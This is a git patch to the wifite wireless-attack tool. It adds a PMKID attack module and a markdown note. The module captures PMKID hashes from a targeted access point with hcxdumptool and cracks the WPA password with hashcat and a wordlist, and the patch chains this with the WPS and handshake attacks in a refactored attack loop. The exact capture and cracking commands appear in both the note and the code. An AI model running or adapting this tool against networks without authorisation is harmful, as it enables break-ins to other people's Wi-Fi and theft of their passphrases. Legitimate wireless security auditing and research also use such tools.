From 936230dd50bf73392d8457fd25aecdf79bf0cba6 Mon Sep 17 00:00:00 2001 From: derv82 Date: Wed, 15 Aug 2018 11:08:12 -0700 Subject: [PATCH] Added PMKID attack. Simplified attack-loop. --- PMKID.md | 33 +++++++ wifite/attack/all.py | 105 ++++++++++++++++++++++ wifite/attack/pmkid.py | 165 +++++++++++++++++++++++++++++++++++ wifite/model/pmkid_result.py | 53 +++++++++++ wifite/model/result.py | 7 ++ wifite/tools/airmon.py | 9 +- wifite/wifite.py | 80 +---------------- 7 files changed, 371 insertions(+), 81 deletions(-) create mode 100644 PMKID.md create mode 100644 wifite/attack/all.py create mode 100644 wifite/attack/pmkid.py create mode 100644 wifite/model/pmkid_result.py diff --git a/PMKID.md b/PMKID.md new file mode 100644 index 0000000..a4c8019 --- /dev/null +++ b/PMKID.md @@ -0,0 +1,33 @@ +### PMKID Attack + +See https://hashcat.net/forum/thread-7717.html + +### Steps + +1. Start `hcxdumptool` (daemon) + * `sudo hcxdumptool -i wlan1mon -o pmkid.pcapng -t 10 --enable_status=1` + * Should also use `-c `, `--filterlist` and `--filtermode` to target a specific client + * Could be a new attack type: `wifite.attack.pmkid` +2. Detect when PMKID is found. + * `hcxpcaptool -z pmkid.16800 pmkid.pcapng` + * Single-line in pmkid.16800 will have PMKID, MACAP, MACStation, ESSID (in hex). +3. Save `.16800` file (to `./hs/`? or `./pmkids/`?) + * New result type: `pmkid_result` + * Add entry to `cracked.txt` +4. Run crack attack using hashcat: + * `./hashcat64.bin --force -m 16800 -a0 -w2 path/to/pmkid.16800 path/to/wordlist.txt` + +### Problems + +* Requires latest hashcat to be installed. This might be in a different directory. + * Use can specify path to hashcat? Yeck... + * % hashcat -h | grep 16800 + * 16800 | WPA-PMKID-PBKDF2 +* If target can't be attacked... we need to detect this failure mode. + * Might need to scrape `hcxdumptool`'s output + * Look at `pmkids()` func in .bashrc + * hcxpcaptool -z OUTPUT.16800 INPUT.pcapng > /dev/null + * Check OUTPUT.16800 for the ESSID. +* Wireless adapter support is minimal, apparently. +* hcxdumptool also deauths networks and captures handshakes... maybe unnecessarily + diff --git a/wifite/attack/all.py b/wifite/attack/all.py new file mode 100644 index 0000000..21c6d89 --- /dev/null +++ b/wifite/attack/all.py @@ -0,0 +1,105 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +from .wep import AttackWEP +from .wpa import AttackWPA +from .wps import AttackWPS +from .pmkid import AttackPMKID +from ..config import Configuration +from ..util.color import Color +from ..util.input import raw_input + +class AttackAll(object): + + @classmethod + def attack_multiple(cls, targets): + attacked_targets = 0 + targets_remaining = len(targets) + for index, target in enumerate(targets, start=1): + attacked_targets += 1 + targets_remaining -= 1 + + bssid = target.bssid + essid = target.essid if target.essid_known else "{O}ESSID unknown{W}" + + Color.pl('\n{+} ({G}%d{W}/{G}%d{W})' % (index, len(targets)) + + ' starting attacks against {C}%s{W} ({C}%s{W})' % (bssid, essid)) + + should_continue = cls.attack_single(target, targets_remaining) + if not should_continue: + break + + return attacked_targets + + @classmethod + def attack_single(cls, target, targets_remaining): + attacks = [] + + if Configuration.use_eviltwin: + pass # TODO:EvilTwin attack + + elif 'WEP' in target.encryption: + attacks.append(AttackWEP(target)) + + elif 'WPA' in target.encryption: + # WPA can have multiple attack vectors + if target.wps: + attacks.append(AttackWPS(target)) + attacks.append(AttackPMKID(target)) + attacks.append(AttackWPA(target)) + + if len(attacks) == 0: + Color.pl("{!} {R}Error: {O}unable to attack: encryption not WEP or WPA") + return + + for attack in attacks: + try: + result = attack.run() + if result and attack.success: + break # We cracked it. + except Exception as e: + Color.pl("\n{!} {R}Error: {O}%s" % str(e)) + if Configuration.verbose > 0 or Configuration.print_stack_traces: + Color.pl('\n{!} {O}Full stack trace below') + from traceback import format_exc + Color.p('\n{!} ') + err = format_exc().strip() + err = err.replace('\n', '\n{W}{!} {W} ') + err = err.replace(' File', '{W}{D}File') + err = err.replace(' Exception: ', '{R}Exception: {O}') + Color.pl(err) + continue + except KeyboardInterrupt: + Color.pl('\n{!} {O}interrupted{W}\n') + if not cls.user_wants_to_continue(targets_remaining, 1): + return False # Stop attacking other targets + + if attack.success: + attack.crack_result.save() + + return True # Keep attacking other targets + + + @classmethod + def user_wants_to_continue(cls, targets_remaining, attacks_remaining=0): + ''' Asks user if attacks should continue onto other targets ''' + if attacks_remaining == 0 and targets_remaining == 0: + # No targets or attacksleft, drop out + return + + prompt_list = [] + if attacks_remaining > 0: + prompt_list.append(Color.s('{C}%d{W} attack(s)' % attacks_remaining)) + if targets_remaining > 0: + prompt_list.append(Color.s('{C}%d{W} target(s)' % targets_remaining)) + prompt = ' and '.join(prompt_list) + Color.pl('{+} %s remain, do you want to continue?' % prompt) + + prompt = Color.s('{+} type {G}c{W} to {G}continue{W}' + + ' or {R}s{W} to {R}stop{W}: ') + + if raw_input(prompt).lower().startswith('s'): + return False + else: + return True + diff --git a/wifite/attack/pmkid.py b/wifite/attack/pmkid.py new file mode 100644 index 0000000..db4b5e8 --- /dev/null +++ b/wifite/attack/pmkid.py @@ -0,0 +1,165 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +from ..model.attack import Attack +from ..config import Configuration +from ..util.color import Color +from ..util.process import Process +from ..util.timer import Timer +from ..model.pmkid_result import CrackResultPMKID + +from threading import Thread +import os +import time + +''' +TODO: + 1. Rename AttackWPA to AttackWpaHandshake + 2. Rename AttackWPS to AttackWpaPixie + 3. Rename AttackPMKID to AttackWpaPMKID + 4. Use AttackWPA to try any or all of the above depending on config/args. + Greatly simplifies the attack loop in wifite.py + Or consolidate all attacks under "Attack" which selects the correct attack based on the target. + Might be hard to capture KeyboardInterrupt, but we can always propagate it. + + Could move a ton of stuff in wifite.py (display_cracked, check_handshake) to a 'util' +''' +class AttackPMKID(Attack): + def __init__(self, target): + super(AttackPMKID, self).__init__(target) + self.crack_result = None + self.success = False + self.pcapng_output = Configuration.temp('pmkid.pcapng') + self.pmkid_output = Configuration.temp('pmkid.16800') + + def run(self): + # TODO: Check cracked.txt for previously-captured PMKID, skip to crack if found. + self.keep_capturing = True + self.timer = Timer(60) + + # Start hcxdumptool + t = Thread(target=self.hcxdump_thread) + t.start() + + # Regularly check hcxpcaptool output for hash for self.target.essid + pmkid_hash = None + while self.timer.remaining() > 0: + pmkid_hash = self.get_pmkid_hash() + if pmkid_hash is not None: + # Got PMKID + break + Color.pattack('PMKID', self.target, 'capture', + 'Waiting for PMKID ({C}%s{W})' % str(self.timer)) + time.sleep(1) + + if pmkid_hash is not None: + Color.pattack('PMKID', self.target, str(self.timer), 'Captured PMKID, cracking...') + # When hash is found, start cracking + if self.crack_pmkid(pmkid_hash): + self.success = True + + self.keep_capturing = False + + return self.success + + def crack_pmkid(self, pmkid_hash): + # Write hash to file + # TODO: Should we write this to ./hs/ with .pmkid suffix? + hash_file = Configuration.temp('pmkid.hash') + with open(hash_file, 'w') as f: + f.write(pmkid_hash) + f.write('\n') + + # Run hashcat + command = [ + 'hashcat', + '--force', + '--quiet', + '-m', '16800', + '-a', '0', # TODO: Configure + '-w', '2', # TODO: Configure + hash_file, + Configuration.wordlist + ] + + # TODO: Check status of hashcat (%); it's impossible with --quiet + + try: + hashcat_proc = Process(command) + hashcat_proc.wait() + stdout = hashcat_proc.stdout() + except KeyboardInterrupt: # In case user gets impatient + stdout = '' + + if ':' not in stdout: + # Failed + Color.pattack('PMKID', self.target, '{R}failed', '{O}Failed to crack PMKID ') + Color.pl("") + self.crack_result = CrackResultPMKID(self.target.bssid, self.target.essid, pmkid_hash, None) + #self.crack_result.dump() + return False + else: + # Update Crack Result + key = stdout.strip().split(':', 1)[1] + Color.pl("\n\n{+} Cracked PMKID! Key: {G}%s{W}\n" % key) + self.crack_result = CrackResultPMKID(self.target.bssid, self.target.essid, pmkid_hash, key) + self.crack_result.dump() + return True + + def get_pmkid_hash(self): + if os.path.exists(self.pmkid_output): + os.remove(self.pmkid_output) + + command = [ + 'hcxpcaptool', + '-z', self.pmkid_output, + self.pcapng_output + ] + hcxpcap_proc = Process(command) + hcxpcap_proc.wait() + + if not os.path.exists(self.pmkid_output): + return None + + with open(self.pmkid_output, 'r') as f: + output = f.read() + + # Check that we got the right target + # pmkid_hash*bssid*station_mac*essid(hex) + for line in output.split('\n'): + fields = line.split('*') + if len(fields) < 3: + continue + if fields[1].lower() != self.target.bssid.lower().replace(':', ''): + continue + output = line + break + + os.remove(self.pmkid_output) + return output + + def hcxdump_thread(self): + # Create filterlist + filterlist = Configuration.temp('pmkid.filterlist') + with open(filterlist, 'w') as filter_file: + filter_file.write(self.target.bssid.replace(':', '')) + + if os.path.exists(self.pcapng_output): + os.remove(self.pcapng_output) + + command = [ + "hcxdumptool", + "-i", Configuration.interface, + "--filterlist", filterlist, + "--filtermode", "2", + "-c", self.target.channel, + "-o", self.pcapng_output + ] + + hcxdump_proc = Process(command) + + # Let the dump tool run until we have the hash. + while self.keep_capturing and hcxdump_proc.poll() == None: + time.sleep(0.5) + + hcxdump_proc.interrupt() diff --git a/wifite/model/pmkid_result.py b/wifite/model/pmkid_result.py new file mode 100644 index 0000000..4b77900 --- /dev/null +++ b/wifite/model/pmkid_result.py @@ -0,0 +1,53 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +from ..util.color import Color +from .result import CrackResult + +class CrackResultPMKID(CrackResult): + def __init__(self, bssid, essid, pmkid_hash, key): + self.result_type = 'PMKID' + self.bssid = bssid + self.essid = essid + self.pmkid_hash = pmkid_hash + self.key = key + super(CrackResultPMKID, self).__init__() + + def dump(self): + if self.essid: + Color.pl('{+} %s: {C}%s{W}' % + ('Access Point Name'.rjust(19), self.essid)) + if self.bssid: + Color.pl('{+} %s: {C}%s{W}' % + ('Access Point BSSID'.rjust(19), self.bssid)) + Color.pl('{+} %s: {C}%s{W}' % + ('Encryption'.rjust(19), self.result_type)) + if self.pmkid_hash: + Color.pl('{+} %s: {C}%s{W}' % + ('PMKID'.rjust(19), self.pmkid_hash)) + if self.key: + Color.pl('{+} %s: {G}%s{W}' % ('PSK (password)'.rjust(19), self.key)) + else: + Color.pl('{!} %s {O}key unknown{W}' % ''.rjust(19)) + + def to_dict(self): + return { + 'type' : self.result_type, + 'date' : self.date, + 'essid' : self.essid, + 'bssid' : self.bssid, + 'key' : self.key, + 'pmkid' : self.pmkid_hash + } + +if __name__ == '__main__': + w = CrackResultPMKID('AA:BB:CC:DD:EE:FF', 'Test Router', 'abc*def*ghi*jkl', 'abcd1234') + w.dump() + + w = CrackResultPMKID('AA:BB:CC:DD:EE:FF', 'Test Router', 'abc*def*ghi*jkl', 'Key') + print('\n') + w.dump() + w.save() + print(w.__dict__['bssid']) + + diff --git a/wifite/model/result.py b/wifite/model/result.py index 972da35..f1d59d3 100755 --- a/wifite/model/result.py +++ b/wifite/model/result.py @@ -89,6 +89,13 @@ class CrackResult(object): json['essid'], json['pin'], json['psk']) + + elif json['type'] == 'PMKID': + from .pmkid_result import CrackResultPMKID + result = CrackResultPMKID(json['bssid'], + json['essid'], + json['pmkid'], + json['key']) result.date = json['date'] return result diff --git a/wifite/tools/airmon.py b/wifite/tools/airmon.py index 68b642b..8313a12 100755 --- a/wifite/tools/airmon.py +++ b/wifite/tools/airmon.py @@ -138,7 +138,7 @@ class Airmon(Dependency): iface_type_path = os.path.join('/sys/class/net', iface, 'type') if os.path.exists(iface_type_path): with open(iface_type_path, 'r') as f: - if (int(f.read()) == Airmon.ARPHRD_ETHER): + if (int(f.read()) == Airmon.ARPHRD_ETHER): return iface return None @@ -341,8 +341,11 @@ class Airmon(Dependency): if not Configuration.kill_conflicting_processes: # Don't kill processes, warn user - for pid, pname in pid_pnames: - Color.pl('{!} {O}conflicting process: {R}%s{O} (PID {R}%s{O})' % (pname, pid)) + names_and_pids = ', '.join([ + '{R}%s{O} (PID {R}%s{O})' % (pname, pid) + for pid, pname in pid_pnames + ]) + Color.pl('{!} {O}conflicting processes: %s' % names_and_pids) Color.pl('{!} {O}if you have problems: {R}kill -9 PID{O} or re-run wifite with {R}--kill{O}){W}') return diff --git a/wifite/wifite.py b/wifite/wifite.py index 205805e..17582af 100755 --- a/wifite/wifite.py +++ b/wifite/wifite.py @@ -11,9 +11,7 @@ from .util.process import Process from .util.color import Color from .util.crack import CrackHandshake from .util.input import raw_input -from .attack.wep import AttackWEP -from .attack.wpa import AttackWPA -from .attack.wps import AttackWPS +from .attack.all import AttackAll from .model.result import CrackResult from .model.handshake import Handshake from .tools.dependency import Dependency @@ -60,81 +58,7 @@ class Wifite(object): else: targets = s.select_targets() - attacked_targets = 0 - targets_remaining = len(targets) - for idx, t in enumerate(targets, start=1): - attacked_targets += 1 - targets_remaining -= 1 - - Color.pl('\n{+} ({G}%d{W}/{G}%d{W})' % (idx, len(targets)) + - ' starting attacks against {C}%s{W} ({C}%s{W})' - % (t.bssid, t.essid if t.essid_known else "{O}ESSID unknown")) - - # TODO: Check if Eviltwin attack is selected. - - if Configuration.use_eviltwin: - pass - - elif 'WEP' in t.encryption: - attack = AttackWEP(t) - - elif 'WPA' in t.encryption: - # TODO: Move WPS+WPA decision to a combined attack - if t.wps: - attack = AttackWPS(t) - result = False - try: - result = attack.run() - except Exception as e: - Color.pl("\n{!} {R}Error: {O}%s" % str(e)) - if Configuration.verbose > 0 or Configuration.print_stack_traces: - Color.pl('\n{!} {O}Full stack trace below') - from traceback import format_exc - Color.p('\n{!} ') - err = format_exc().strip() - err = err.replace('\n', '\n{W}{!} {W} ') - err = err.replace(' File', '{W}{D}File') - err = err.replace(' Exception: ', '{R}Exception: {O}') - Color.pl(err) - except KeyboardInterrupt: - Color.pl('\n{!} {O}interrupted{W}\n') - if not self.user_wants_to_continue(targets_remaining, 1): - break - - if result and attack.success: - # We cracked it. - attack.crack_result.save() - continue - else: - # WPS failed, try WPA handshake. - attack = AttackWPA(t) - else: - # Not using WPS, try WPA handshake. - attack = AttackWPA(t) - else: - Color.pl("{!} {R}Error: {O}unable to attack: encryption not WEP or WPA") - continue - - try: - attack.run() - except Exception as e: - Color.pl("\n{!} {R}Error: {O}%s" % str(e)) - if Configuration.verbose > 0 or True: - Color.pl('\n{!} {O}Full stack trace below') - from traceback import format_exc - Color.p('\n{!} ') - err = format_exc().strip() - err = err.replace('\n', '\n{W}{!} {W} ') - err = err.replace(' File', '{W}{D}File') - err = err.replace(' Exception: ', '{R}Exception: {O}') - Color.pl(err) - except KeyboardInterrupt: - Color.pl('\n{!} {O}interrupted{W}\n') - if not self.user_wants_to_continue(targets_remaining): - break - - if attack.success: - attack.crack_result.save() + attacked_targets = AttackAll.attack_multiple(targets) Color.pl("{+} Finished attacking {C}%d{W} target(s), exiting" % attacked_targets)